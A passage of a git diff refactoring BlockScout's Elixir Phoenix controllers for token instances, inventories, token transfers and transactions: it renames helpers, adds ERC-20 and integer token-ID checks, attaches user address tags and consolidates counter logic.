address_hash} <- Chain.string_to_address_hash(token_address_hash), {:ok, token} <- Chain.token_from_address_hash(address_hash), + false <- Chain.erc_20_token?(token), + {token_id, ""} <- Integer.parse(token_id_string), token_holders <- Chain.fetch_token_holders_from_token_hash_and_token_id(address_hash, token_id, paging_options(params)) do {token_holders_paginated, next_page} = split_list_by_page(token_holders) @@ -51,21 +54,17 @@ defmodule BlockScoutWeb.Tokens.Instance.HolderController do end end - def index(conn, %{"token_id" => token_address_hash, "instance_id" => token_id}) do + def index(conn, %{"token_id" => token_address_hash, "instance_id" => token_id_string}) do options = [necessity_by_association: %{[contract_address: :smart_contract] => :optional}] with {:ok, hash} <- Chain.string_to_address_hash(token_address_hash), {:ok, token} <- Chain.token_from_address_hash(hash, options), - {:ok, token_instance} <- - Chain.erc721_or_erc1155_token_instance_from_token_id_and_token_address(token_id, hash) do - render( - conn, - "index.html", - token_instance: %{instance: token_instance, token_id: Decimal.new(token_id)}, - current_path: Controller.current_full_path(conn), - token: Market.add_price(token), - total_token_transfers: Chain.count_token_transfers_from_token_hash_and_token_id(hash, token_id) - ) + false <- Chain.erc_20_token?(token), + {token_id, ""} <- Integer.parse(token_id_string) do + case Instance.nft_instance_by_token_id_and_token_address(token_id, hash) do + {:ok, token_instance} -> Helper.render(conn, token_instance, hash, token_id, token) + {:error, :not_found} -> Helper.render(conn, nil, hash, token_id, token) + end else _ -> not_found(conn) diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/tokens/instance/metadata_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/tokens/instance/metadata_controller.ex index b404cc91b81e..55d6846f1cca 100644 --- a/apps/block_scout_web/lib/block_scout_web/controllers/tokens/instance/metadata_controller.ex +++ b/apps/block_scout_web/lib/block_scout_web/controllers/tokens/instance/metadata_controller.ex @@ -1,25 +1,21 @@ defmodule BlockScoutWeb.Tokens.Instance.MetadataController do use BlockScoutWeb, :controller - alias BlockScoutWeb.Controller - alias Explorer.{Chain, Market} + alias BlockScoutWeb.Tokens.Instance.Helper + alias Explorer.Chain + alias Explorer.Chain.Token.Instance - def index(conn, %{"token_id" => token_address_hash, "instance_id" => token_id}) do + def index(conn, %{"token_id" => token_address_hash, "instance_id" => token_id_string}) do options = [necessity_by_association: %{[contract_address: :smart_contract] => :optional}] with {:ok, hash} <- Chain.string_to_address_hash(token_address_hash), {:ok, token} <- Chain.token_from_address_hash(hash, options), + false <- Chain.erc_20_token?(token), + {token_id, ""} <- Integer.parse(token_id_string), {:ok, token_instance} <- - Chain.erc721_or_erc1155_token_instance_from_token_id_and_token_address(token_id, hash) do + Instance.nft_instance_by_token_id_and_token_address(token_id, hash) do if token_instance.metadata do - render( - conn, - "index.html", - token_instance: %{instance: token_instance, token_id: Decimal.new(token_id)}, - current_path: Controller.current_full_path(conn), - token: Market.add_price(token), - total_token_transfers: Chain.count_token_transfers_from_token_hash_and_token_id(hash, token_id) - ) + Helper.render(conn, token_instance, hash, token_id, token) else not_found(conn) end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/tokens/instance/transfer_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/tokens/instance/transfer_controller.ex index 1e92527d0ffd..ef95c9f21d2e 100644 --- a/apps/block_scout_web/lib/block_scout_web/controllers/tokens/instance/transfer_controller.ex +++ b/apps/block_scout_web/lib/block_scout_web/controllers/tokens/instance/transfer_controller.ex @@ -1,20 +1,24 @@ defmodule BlockScoutWeb.Tokens.Instance.TransferController do use BlockScoutWeb, :controller - alias BlockScoutWeb.Controller + alias BlockScoutWeb.Tokens.Instance.Helper alias BlockScoutWeb.Tokens.TransferView - alias Explorer.{Chain, Market} + alias Explorer.Chain alias Explorer.Chain.Address + alias Explorer.Chain.Token.Instance alias Phoenix.View import BlockScoutWeb.Chain, only: [split_list_by_page: 1, paging_options: 1, next_page_params: 3] + import Explorer.Chain.SmartContract, only: [burn_address_hash_string: 0] - {:ok, burn_address_hash} = Chain.string_to_address_hash("0x0000000000000000000000000000000000000000") + {:ok, burn_address_hash} = Chain.string_to_address_hash(burn_address_hash_string()) @burn_address_hash burn_address_hash - def index(conn, %{"token_id" => token_address_hash, "instance_id" => token_id, "type" => "JSON"} = params) do + def index(conn, %{"token_id" => token_address_hash, "instance_id" => token_id_string, "type" => "JSON"} = params) do with {:ok, hash} <- Chain.string_to_address_hash(token_address_hash), {:ok, token} <- Chain.token_from_address_hash(hash), + false <- Chain.erc_20_token?(token), + {token_id, ""} <- Integer.parse(token_id_string), token_transfers <- Chain.fetch_token_transfers_from_token_hash_and_token_id(hash, token_id, paging_options(params)) do {token_transfers_paginated, next_page} = split_list_by_page(token_transfers) @@ -53,21 +57,17 @@ defmodule BlockScoutWeb.Tokens.Instance.TransferController do end end - def index(conn, %{"token_id" => token_address_hash, "instance_id" => token_id}) do + def index(conn, %{"token_id" => token_address_hash, "instance_id" => token_id_string}) do options = [necessity_by_association: %{[contract_address: :smart_contract] => :optional}] with {:ok, hash} <- Chain.string_to_address_hash(token_address_hash), {:ok, token} <- Chain.token_from_address_hash(hash, options), - {:ok, token_instance} <- - Chain.erc721_or_erc1155_token_instance_from_token_id_and_token_address(token_id, hash) do - render( - conn, - "index.html", - token_instance: %{instance: token_instance, token_id: Decimal.new(token_id)}, - current_path: Controller.current_full_path(conn), - token: Market.add_price(token), - total_token_transfers: Chain.count_token_transfers_from_token_hash_and_token_id(hash, token_id) - ) + false <- Chain.erc_20_token?(token), + {token_id, ""} <- Integer.parse(token_id_string) do + case Instance.nft_instance_by_token_id_and_token_address(token_id, hash) do + {:ok, token_instance} -> Helper.render(conn, token_instance, hash, token_id, token) + {:error, :not_found} -> Helper.render(conn, nil, hash, token_id, token) + end else _ -> not_found(conn) diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/tokens/instance_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/tokens/instance_controller.ex index d7d0a4d8c460..fd222f9294e6 100644 --- a/apps/block_scout_web/lib/block_scout_web/controllers/tokens/instance_controller.ex +++ b/apps/block_scout_web/lib/block_scout_web/controllers/tokens/instance_controller.ex @@ -6,8 +6,8 @@ defmodule BlockScoutWeb.Tokens.InstanceController do def show(conn, %{"token_id" => token_address_hash, "id" => token_id}) do with {:ok, hash} <- Chain.string_to_address_hash(token_address_hash), - :ok <- Chain.check_token_exists(hash), - :ok <- Chain.check_erc721_or_erc1155_token_instance_exists(token_id, hash) do + {:ok, token} <- Chain.token_from_address_hash(hash), + false <- Chain.erc_20_token?(token) do token_instance_transfer_path = conn |> token_instance_transfer_path(:index, token_address_hash, token_id) diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/tokens/inventory_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/tokens/inventory_controller.ex index 5129856a183a..787c25ce1bd4 100644 --- a/apps/block_scout_web/lib/block_scout_web/controllers/tokens/inventory_controller.ex +++ b/apps/block_scout_web/lib/block_scout_web/controllers/tokens/inventory_controller.ex @@ -1,28 +1,34 @@ defmodule BlockScoutWeb.Tokens.InventoryController do use BlockScoutWeb, :controller - alias BlockScoutWeb.AccessHelpers + alias BlockScoutWeb.AccessHelper alias BlockScoutWeb.Tokens.{HolderController, InventoryView} alias Explorer.Chain - alias Explorer.Chain.TokenTransfer + alias Explorer.Chain.Token.Instance alias Phoenix.View - import BlockScoutWeb.Chain, only: [split_list_by_page: 1, default_paging_options: 0] + import BlockScoutWeb.Chain, + only: [ + split_list_by_page: 1, + unique_tokens_paging_options: 1, + unique_tokens_next_page: 3 + ] def index(conn, %{"token_id" => address_hash_string, "type" => "JSON"} = params) do with {:ok, address_hash} <- Chain.string_to_address_hash(address_hash_string), {:ok, token} <- Chain.token_from_address_hash(address_hash), - {:ok, false} <- AccessHelpers.restricted_access?(address_hash_string, params) do - unique_tokens = - Chain.address_to_unique_tokens( + {:ok, false} <- AccessHelper.restricted_access?(address_hash_string, params) do + unique_token_instances = + Instance.address_to_unique_tokens( token.contract_address_hash, + token, unique_tokens_paging_options(params) ) - {unique_tokens_paginated, next_page} = split_list_by_page(unique_tokens) + {unique_token_instances_paginated, next_page} = split_list_by_page(unique_token_instances) next_page_path = - case unique_tokens_next_page(next_page, unique_tokens_paginated, params) do + case unique_tokens_next_page(next_page, unique_token_instances_paginated, params) do nil -> nil @@ -36,12 +42,12 @@ defmodule BlockScoutWeb.Tokens.InventoryController do end items = - unique_tokens_paginated - |> Enum.map(fn token_transfer -> + unique_token_instances_paginated + |> Enum.map(fn instance -> View.render_to_string( InventoryView, "_token.html", - token_transfer: token_transfer, + instance: instance, token: token, conn: conn ) @@ -69,19 +75,4 @@ defmodule BlockScoutWeb.Tokens.InventoryController do def index(conn, params) do HolderController.index(conn, params) end - - defp unique_tokens_paging_options(%{"unique_token" => token_id}), - do: [paging_options: %{default_paging_options() | key: {token_id}}] - - defp unique_tokens_paging_options(_params), do: [paging_options: default_paging_options()] - - defp unique_tokens_next_page([], _list, _params), do: nil - - defp unique_tokens_next_page(_, list, params) do - Map.merge(params, paging_params(List.last(list))) - end - - defp paging_params(%TokenTransfer{token_id: token_id}) do - %{"unique_token" => Decimal.to_integer(token_id)} - end end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/tokens/token_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/tokens/token_controller.ex index 6a1ea07b1730..2c728e9b47e9 100644 --- a/apps/block_scout_web/lib/block_scout_web/controllers/tokens/token_controller.ex +++ b/apps/block_scout_web/lib/block_scout_web/controllers/tokens/token_controller.ex @@ -3,53 +3,22 @@ defmodule BlockScoutWeb.Tokens.TokenController do require Logger - alias BlockScoutWeb.AccessHelpers + alias BlockScoutWeb.AccessHelper alias Explorer.Chain - alias Explorer.Counters.{TokenHoldersCounter, TokenTransfersCounter} def show(conn, %{"id" => address_hash_string}) do - redirect(conn, to: AccessHelpers.get_path(conn, :token_transfer_path, :index, address_hash_string)) + redirect(conn, to: AccessHelper.get_path(conn, :token_transfer_path, :index, address_hash_string)) end def token_counters(conn, %{"id" => address_hash_string}) do case Chain.string_to_address_hash(address_hash_string) do {:ok, address_hash} -> - {transfer_count, token_holder_count} = fetch_token_counters(address_hash, 30_000) + {transfers_count, holders_count} = Chain.fetch_token_counters(address_hash, 30_000) - json(conn, %{transfer_count: transfer_count, token_holder_count: token_holder_count}) + json(conn, %{transfer_count: transfers_count, token_holder_count: holders_count}) _ -> not_found(conn) end end - - defp fetch_token_counters(address_hash, timeout) do - total_token_transfers_task = - Task.async(fn -> - TokenTransfersCounter.fetch(address_hash) - end) - - total_token_holders_task = - Task.async(fn -> - TokenHoldersCounter.fetch(address_hash) - end) - - [total_token_transfers_task, total_token_holders_task] - |> Task.yield_many(timeout) - |> Enum.map(fn {_task, res} -> - case res do - {:ok, result} -> - result - - {:exit, reason} -> - Logger.warn("Query fetching token counters terminated: #{inspect(reason)}") - 0 - - nil -> - Logger.warn("Query fetching token counters timed out.") - 0 - end - end) - |> List.to_tuple() - end end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/tokens/tokens_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/tokens/tokens_controller.ex index 4e4f289fcf8a..17ee2823fcd5 100644 --- a/apps/block_scout_web/lib/block_scout_web/controllers/tokens/tokens_controller.ex +++ b/apps/block_scout_web/lib/block_scout_web/controllers/tokens/tokens_controller.ex @@ -2,9 +2,8 @@ defmodule BlockScoutWeb.TokensController do use BlockScoutWeb, :controller import BlockScoutWeb.Chain, only: [paging_options: 1, next_page_params: 3, split_list_by_page: 1] - alias BlockScoutWeb.{Controller, TokensView} - alias Explorer.Chain + alias Explorer.Chain.Token alias Phoenix.View def index(conn, %{"type" => "JSON"} = params) do @@ -19,7 +18,7 @@ defmodule BlockScoutWeb.TokensController do params |> paging_options() - tokens = Chain.list_top_tokens(filter, paging_params) + tokens = Token.list_top(filter, paging_params) {tokens_page, next_page} = split_list_by_page(tokens) diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/tokens/transfer_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/tokens/transfer_controller.ex index 9c3ce0278ed2..544f10e00c53 100644 --- a/apps/block_scout_web/lib/block_scout_web/controllers/tokens/transfer_controller.ex +++ b/apps/block_scout_web/lib/block_scout_web/controllers/tokens/transfer_controller.ex @@ -1,23 +1,27 @@ defmodule BlockScoutWeb.Tokens.TransferController do use BlockScoutWeb, :controller - alias BlockScoutWeb.{AccessHelpers, Controller} + import BlockScoutWeb.Account.AuthController, only: [current_user: 1] + import BlockScoutWeb.Models.GetAddressTags, only: [get_address_tags: 2] + + alias BlockScoutWeb.{AccessHelper, Controller} alias BlockScoutWeb.Tokens.TransferView - alias Explorer.{Chain, Market} + alias Explorer.Chain alias Explorer.Chain.Address - alias Indexer.Fetcher.TokenTotalSupplyOnDemand + alias Indexer.Fetcher.OnDemand.TokenTotalSupply, as: TokenTotalSupplyOnDemand alias Phoenix.View import BlockScoutWeb.Chain, only: [split_list_by_page: 1, paging_options: 1, next_page_params: 3] + import Explorer.Chain.SmartContract, only: [burn_address_hash_string: 0] - {:ok, burn_address_hash} = Chain.string_to_address_hash("0x0000000000000000000000000000000000000000") + {:ok, burn_address_hash} = Chain.string_to_address_hash(burn_address_hash_string()) @burn_address_hash burn_address_hash def index(conn, %{"token_id" => address_hash_string, "type" => "JSON"} = params) do with {:ok, address_hash} <- Chain.string_to_address_hash(address_hash_string), {:ok, token} <- Chain.token_from_address_hash(address_hash), token_transfers <- Chain.fetch_token_transfers_from_token_hash(address_hash, paging_options(params)), - {:ok, false} <- AccessHelpers.restricted_access?(address_hash_string, params) do + {:ok, false} <- AccessHelper.restricted_access?(address_hash_string, params) do {token_transfers_paginated, next_page} = split_list_by_page(token_transfers) next_page_path = @@ -61,17 +65,19 @@ defmodule BlockScoutWeb.Tokens.TransferController do def index(conn, %{"token_id" => address_hash_string} = params) do options = [necessity_by_association: %{[contract_address: :smart_contract] => :optional}] + ip = AccessHelper.conn_to_ip_string(conn) with {:ok, address_hash} <- Chain.string_to_address_hash(address_hash_string), {:ok, token} <- Chain.token_from_address_hash(address_hash, options), - {:ok, false} <- AccessHelpers.restricted_access?(address_hash_string, params) do + {:ok, false} <- AccessHelper.restricted_access?(address_hash_string, params) do render( conn, "index.html", counters_path: token_path(conn, :token_counters, %{"id" => Address.checksum(address_hash)}), current_path: Controller.current_full_path(conn), - token: Market.add_price(token), - token_total_supply_status: TokenTotalSupplyOnDemand.trigger_fetch(address_hash) + token: token, + token_total_supply_status: TokenTotalSupplyOnDemand.trigger_fetch(ip, address_hash), + tags: get_address_tags(address_hash, current_user(conn)) ) else {:restricted_access, _} -> diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/transaction_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/transaction_controller.ex index 695d961b7e43..ed4332c46236 100644 --- a/apps/block_scout_web/lib/block_scout_web/controllers/transaction_controller.ex +++ b/apps/block_scout_web/lib/block_scout_web/controllers/transaction_controller.ex @@ -1,6 +1,8 @@ defmodule BlockScoutWeb.TransactionController do use BlockScoutWeb, :controller + import BlockScoutWeb.Account.AuthController, only: [current_user: 1] + import BlockScoutWeb.Chain, only: [ fetch_page_number: 1, @@ -10,8 +12,12 @@ defmodule BlockScoutWeb.TransactionController do split_list_by_page: 1 ] + import BlockScoutWeb.Models.GetAddressTags, only: [get_address_tags: 2] + import BlockScoutWeb.Models.GetTransactionTags, only: [get_transaction_with_addresses_tags: 2] + import Explorer.Chain.SmartContract, only: [burn_address_hash_string: 0] + alias BlockScoutWeb.{ - AccessHelpers, + AccessHelper, Controller, TransactionInternalTransactionController, TransactionTokenTransferController, @@ -19,8 +25,8 @@ defmodule BlockScoutWeb.TransactionController do } alias Explorer.{Chain, Market} - alias Explorer.Chain.Cache.Transaction, as: TransactionCache - alias Explorer.ExchangeRates.Token + alias Explorer.Chain.Cache.Counters.TransactionsCount + alias Explorer.Chain.DenormalizationHelper alias Phoenix.View @necessity_by_association %{ @@ -32,12 +38,11 @@ defmodule BlockScoutWeb.TransactionController do :token_transfers => :optional } - {:ok, burn_address_hash} = Chain.string_to_address_hash("0x0000000000000000000000000000000000000000") + {:ok, burn_address_hash} = Chain.string_to_address_hash(burn_address_hash_string()) @burn_address_hash burn_address_hash @default_options [ necessity_by_association: %{ - :block => :required, [created_contract_address: :names] => :optional, [from_address: :names] => :optional, [to_address: :names] => :optional, @@ -50,6 +55,7 @@ defmodule BlockScoutWeb.TransactionController do def index(conn, %{"type" => "JSON"} = params) do options = @default_options + |> DenormalizationHelper.extend_block_necessity(:required) |> Keyword.merge(paging_options(params)) full_options = @@ -112,7 +118,7 @@ defmodule BlockScoutWeb.TransactionController do end def index(conn, _params) do - transaction_estimated_count = TransactionCache.estimated_count() + transaction_estimated_count = TransactionsCount.get() render( conn, @@ -123,7 +129,7 @@ defmodule BlockScoutWeb.TransactionController do end def show(conn, %{"id" => transaction_hash_string, "type" => "JSON"}) do - case Chain.string_to_transaction_hash(transaction_hash_string) do + case Chain.string_to_full_hash(transaction_hash_string) do {:ok, transaction_hash} -> if Chain.transaction_has_token_transfers?(transaction_hash) do TransactionTokenTransferController.index(conn, %{ @@ -143,32 +149,31 @@ defmodule BlockScoutWeb.TransactionController do end def show(conn, %{"id" => id} = params) do - with {:ok, transaction_hash} <- Chain.string_to_transaction_hash(id), + with {:ok, transaction_hash} <- Chain.string_to_full_hash(id), :ok <- Chain.check_transaction_exists(transaction_hash) do if Chain.transaction_has_token_transfers?(transaction_hash) do with {:ok, transaction} <- - Chain.hash_to_transaction( - transaction_hash, - necessity_by_association: @necessity_by_association - ), - {:ok, false} <- AccessHelpers.restricted_access?(to_string(transaction.from_address_hash), params), - {:ok, false} <- AccessHelpers.restricted_access?(to_string(transaction.to_address_hash), params) do + Chain.hash_to_transaction(transaction_hash, necessity_by_association: @necessity_by_association), + {:ok, false} <- AccessHelper.restricted_access?(to_string(transaction.from_address_hash), params), + {:ok, false} <- AccessHelper.restricted_access?(to_string(transaction.to_address_hash), params) do render( conn, "show_token_transfers.html", - exchange_rate: Market.get_exchange_rate(Explorer.coin()) || Token.null(), + exchange_rate: Market.get_coin_exchange_rate(), block_height: Chain.block_height(), current_path: Controller.current_full_path(conn), + current_user: current_user(conn), show_token_transfers: true, - transaction: transaction + transaction: transaction, + from_tags: get_address_tags(transaction.from_address_hash, current_user(conn)), + to_tags: get_address_tags(transaction.to_address_hash, current_user(conn)), + transaction_tags: + get_transaction_with_addresses_tags( + transaction, + current_user(conn) + ) ) else - :not_found -> - set_not_found_view(conn, id) - - :error -> - set_invalid_view(conn, id) - {:error, :not_found} -> set_not_found_view(conn, id) @@ -177,28 +182,27 @@ defmodule BlockScoutWeb.TransactionController do end else with {:ok, transaction} <- - Chain.hash_to_transaction( - transaction_hash, - necessity_by_association: @necessity_by_association - ), - {:ok, false} <- AccessHelpers.restricted_access?(to_string(transaction.from_address_hash), params), - {:ok, false} <- AccessHelpers.restricted_access?(to_string(transaction.to_address_hash), params) do + Chain.hash_to_transaction(transaction_hash, necessity_by_association: @necessity_by_association), + {:ok, false} <- AccessHelper.restricted_access?(to_string(transaction.from_address_hash), params), + {:ok, false} <- AccessHelper.restricted_access?(to_string(transaction.to_address_hash), params) do render( conn, "show_internal_transactions.html", - exchange_rate: Market.get_exchange_rate(Explorer.coin()) || Token.null(), + exchange_rate: Market.get_coin_exchange_rate(), current_path: Controller.current_full_path(conn), + current_user: current_user(conn), block_height: Chain.block_height(), show_token_transfers: Chain.transaction_has_token_transfers?(transaction_hash), - transaction: transaction + transaction: transaction, + from_tags: get_address_tags(transaction.from_address_hash, current_user(conn)), + to_tags: get_address_tags(transaction.to_address_hash, current_user(conn)), + transaction_tags: + get_transaction_with_addresses_tags( + transaction, + current_user(conn) + ) ) else - :not_found -> - set_not_found_view(conn, id) - - :error -> - set_invalid_view(conn, id) - {:error, :not_found} -> set_not_found_view(conn, id) @@ -208,7 +212,7 @@ defmodule BlockScoutWeb.TransactionController do end else :error -> - set_invalid_view(conn, id) + unprocessable_entity(conn) :not_found -> set_not_found_view(conn, id) @@ -221,11 +225,4 @@ defmodule BlockScoutWeb.TransactionController do |> put_view(TransactionView) |> render("not_found.html", transaction_hash: transaction_hash_string) end - - def set_invalid_view(conn, transaction_hash_string) do - conn - |> put_status(422) - |> put_view(TransactionView) - |> render("invalid.html", transaction_hash: transaction_hash_string) - end end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/transaction_internal_transaction_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/transaction_internal_transaction_controller.ex index 61b7122180a7..5ed7024a99c5 100644 --- a/apps/block_scout_web/lib/block_scout_web/controllers/transaction_internal_transaction_controller.ex +++ b/apps/block_scout_web/lib/block_scout_web/controllers/transaction_internal_transaction_controller.ex @@ -1,36 +1,39 @@ defmodule BlockScoutWeb.TransactionInternalTransactionController do use BlockScoutWeb, :controller + import BlockScoutWeb.Account.AuthController, only: [current_user: 1] import BlockScoutWeb.Chain, only: [paging_options: 1, next_page_params: 3, split_list_by_page: 1] + import BlockScoutWeb.Models.GetAddressTags, only: [get_address_tags: 2] + import BlockScoutWeb.Models.GetTransactionTags, only: [get_transaction_with_addresses_tags: 2] - alias BlockScoutWeb.{AccessHelpers, Controller, InternalTransactionView, TransactionController} + alias BlockScoutWeb.{AccessHelper, Controller, InternalTransactionView, TransactionController} alias Explorer.{Chain, Market} - alias Explorer.ExchangeRates.Token + alias Explorer.Chain.{DenormalizationHelper, InternalTransaction} alias Phoenix.View def index(conn, %{"transaction_id" => transaction_hash_string, "type" => "JSON"} = params) do - with {:ok, transaction_hash} <- Chain.string_to_transaction_hash(transaction_hash_string), + with {:ok, transaction_hash} <- Chain.string_to_full_hash(transaction_hash_string), :ok <- Chain.check_transaction_exists(transaction_hash), {:ok, transaction} <- Chain.hash_to_transaction(transaction_hash, []), - {:ok, false} <- AccessHelpers.restricted_access?(to_string(transaction.from_address_hash), params), - {:ok, false} <- AccessHelpers.restricted_access?(to_string(transaction.to_address_hash), params) do + {:ok, false} <- AccessHelper.restricted_access?(to_string(transaction.from_address_hash), params), + {:ok, false} <- AccessHelper.restricted_access?(to_string(transaction.to_address_hash), params) do full_options = - Keyword.merge( - [ - necessity_by_association: %{ - [created_contract_address: :names] => :optional, - [from_address: :names] => :optional, - [to_address: :names] => :optional, - [transaction: :block] => :optional, - [created_contract_address: :smart_contract] => :optional, - [from_address: :smart_contract] => :optional, - [to_address: :smart_contract] => :optional - } - ], - paging_options(params) - ) + [ + necessity_by_association: %{ + [created_contract_address: :names] => :optional, + [from_address: :names] => :optional, + [to_address: :names] => :optional, + [created_contract_address: :smart_contract] => :optional, + [from_address: :smart_contract] => :optional, + [to_address: :smart_contract] => :optional, + :transaction => :optional + } + ] + |> DenormalizationHelper.extend_transaction_block_necessity(:optional) + |> Keyword.merge(paging_options(params)) - internal_transactions_plus_one = Chain.transaction_to_internal_transactions(transaction_hash, full_options) + internal_transactions_plus_one = + InternalTransaction.transaction_to_internal_transactions(transaction_hash, full_options) {internal_transactions, next_page} = split_list_by_page(internal_transactions_plus_one) @@ -70,7 +73,7 @@ defmodule BlockScoutWeb.TransactionInternalTransactionController do TransactionController.set_not_found_view(conn, transaction_hash_string) :error -> - TransactionController.set_invalid_view(conn, transaction_hash_string) + unprocessable_entity(conn) {:error, :not_found} -> TransactionController.set_not_found_view(conn, transaction_hash_string) @@ -81,7 +84,7 @@ defmodule BlockScoutWeb.TransactionInternalTransactionController do end def index(conn, %{"transaction_id" => transaction_hash_string} = params) do - with {:ok, transaction_hash} <- Chain.string_to_transaction_hash(transaction_hash_string), + with {:ok, transaction_hash} <- Chain.string_to_full_hash(transaction_hash_string), {:ok, transaction} <- Chain.hash_to_transaction( transaction_hash, @@ -94,23 +97,31 @@ defmodule BlockScoutWeb.TransactionInternalTransactionController do :token_transfers => :optional } ), - {:ok, false} <- AccessHelpers.restricted_access?(to_string(transaction.from_address_hash), params), - {:ok, false} <- AccessHelpers.restricted_access?(to_string(transaction.to_address_hash), params) do + {:ok, false} <- AccessHelper.restricted_access?(to_string(transaction.from_address_hash), params), + {:ok, false} <- AccessHelper.restricted_access?(to_string(transaction.to_address_hash), params) do render( conn, "index.html", - exchange_rate: Market.get_exchange_rate(Explorer.coin()) || Token.null(), + exchange_rate: Market.get_coin_exchange_rate(), current_path: Controller.current_full_path(conn), + current_user: current_user(conn), block_height: Chain.block_height(), show_token_transfers: Chain.transaction_has_token_transfers?(transaction_hash), - transaction: transaction + transaction: transaction, + from_tags: get_address_tags(transaction.from_address_hash, current_user(conn)), + to_tags: get_address_tags(transaction.to_address_hash, current_user(conn)), + transaction_tags: + get_transaction_with_addresses_tags( + transaction, + current_user(conn) + ) ) else {:restricted_access, _} -> TransactionController.set_not_found_view(conn, transaction_hash_string) :error -> - TransactionController.set_invalid_view(conn, transaction_hash_string) + unprocessable_entity(conn) {:error, :not_found} -> TransactionController.set_not_found_view(conn, transaction_hash_string) diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/transaction_log_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/transaction_log_controller.ex index f9abbf207b78..69379162c157 100644 --- a/apps/block_scout_web/lib/block_scout_web/controllers/transaction_log_controller.ex +++ b/apps/block_scout_web/lib/block_scout_web/controllers/transaction_log_controller.ex @@ -1,35 +1,34 @@ defmodule BlockScoutWeb.TransactionLogController do use BlockScoutWeb, :controller + import BlockScoutWeb.Account.AuthController, only: [current_user: 1] import BlockScoutWeb.Chain, only: [paging_options: 1, next_page_params: 3, split_list_by_page: 1] + import BlockScoutWeb.Models.GetAddressTags, only: [get_address_tags: 2] + import BlockScoutWeb.Models.GetTransactionTags, only: [get_transaction_with_addresses_tags: 2] - alias BlockScoutWeb.{AccessHelpers, Controller, TransactionController, TransactionLogView} + alias BlockScoutWeb.{AccessHelper, Controller, TransactionController, TransactionLogView} alias Explorer.{Chain, Market} - alias Explorer.ExchangeRates.Token alias Phoenix.View def index(conn, %{"transaction_id" => transaction_hash_string, "type" => "JSON"} = params) do - with {:ok, transaction_hash} <- Chain.string_to_transaction_hash(transaction_hash_string), + with {:ok, transaction_hash} <- Chain.string_to_full_hash(transaction_hash_string), {:ok, transaction} <- Chain.hash_to_transaction(transaction_hash, necessity_by_association: %{[to_address: :smart_contract] => :optional} ), - {:ok, false} <- AccessHelpers.restricted_access?(to_string(transaction.from_address_hash), params), - {:ok, false} <- AccessHelpers.restricted_access?(to_string(transaction.to_address_hash), params) do + {:ok, false} <- AccessHelper.restricted_access?(to_string(transaction.from_address_hash), params), + {:ok, false} <- AccessHelper.restricted_access?(to_string(transaction.to_address_hash), params) do full_options = Keyword.merge( [ necessity_by_association: %{ - [address: :names] => :optional, - [address: :smart_contract] => :optional, - address: :optional + [address: [:names, :smart_contract, proxy_implementations_smart_contracts_association()]] => :optional } ], paging_options(params) ) - from_api = false - logs_plus_one = Chain.transaction_to_logs(transaction_hash, from_api, full_options) + logs_plus_one = Chain.transaction_to_logs(transaction_hash, full_options) {logs, next_page} = split_list_by_page(logs_plus_one) @@ -66,7 +65,7 @@ defmodule BlockScoutWeb.TransactionLogController do TransactionController.set_not_found_view(conn, transaction_hash_string) :error -> - TransactionController.set_invalid_view(conn, transaction_hash_string) + unprocessable_entity(conn) {:error, :not_found} -> TransactionController.set_not_found_view(conn, transaction_hash_string) @@ -74,7 +73,7 @@ defmodule BlockScoutWeb.TransactionLogController do end def index(conn, %{"transaction_id" => transaction_hash_string} = params) do - with {:ok, transaction_hash} <- Chain.string_to_transaction_hash(transaction_hash_string), + with {:ok, transaction_hash} <- Chain.string_to_full_hash(transaction_hash_string), {:ok, transaction} <- Chain.hash_to_transaction( transaction_hash, @@ -87,23 +86,31 @@ defmodule BlockScoutWeb.TransactionLogController do :token_transfers => :optional } ), - {:ok, false} <- AccessHelpers.restricted_access?(to_string(transaction.from_address_hash), params), - {:ok, false} <- AccessHelpers.restricted_access?(to_string(transaction.to_address_hash), params) do + {:ok, false} <- AccessHelper.restricted_access?(to_string(transaction.from_address_hash), params), + {:ok, false} <- AccessHelper.restricted_access?(to_string(transaction.to_address_hash), params) do render( conn, "index.html", block_height: Chain.block_height(), show_token_transfers: Chain.transaction_has_token_transfers?(transaction_hash), current_path: Controller.current_full_path(conn), + current_user: current_user(conn), transaction: transaction, - exchange_rate: Market.get_exchange_rate(Explorer.coin()) || Token.null() + exchange_rate: Market.get_coin_exchange_rate(), + from_tags: get_address_tags(transaction.from_address_hash, current_user(conn)), + to_tags: get_address_tags(transaction.to_address_hash, current_user(conn)), + transaction_tags: + get_transaction_with_addresses_tags( + transaction, + current_user(conn) + ) ) else {:restricted_access, _} -> TransactionController.set_not_found_view(conn, transaction_hash_string) :error -> - TransactionController.set_invalid_view(conn, transaction_hash_string) + unprocessable_entity(conn) {:error, :not_found} -> TransactionController.set_not_found_view(conn, transaction_hash_string) diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/transaction_raw_trace_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/transaction_raw_trace_controller.ex index 44584b795f30..751ec69b9de6 100644 --- a/apps/block_scout_web/lib/block_scout_web/controllers/transaction_raw_trace_controller.ex +++ b/apps/block_scout_web/lib/block_scout_web/controllers/transaction_raw_trace_controller.ex @@ -1,15 +1,17 @@ defmodule BlockScoutWeb.TransactionRawTraceController do use BlockScoutWeb, :controller - alias BlockScoutWeb.{AccessHelpers, TransactionController} + import BlockScoutWeb.Account.AuthController, only: [current_user: 1] + import BlockScoutWeb.Models.GetAddressTags, only: [get_address_tags: 2] + import BlockScoutWeb.Models.GetTransactionTags, only: [get_transaction_with_addresses_tags: 2] + + alias BlockScoutWeb.{AccessHelper, TransactionController} 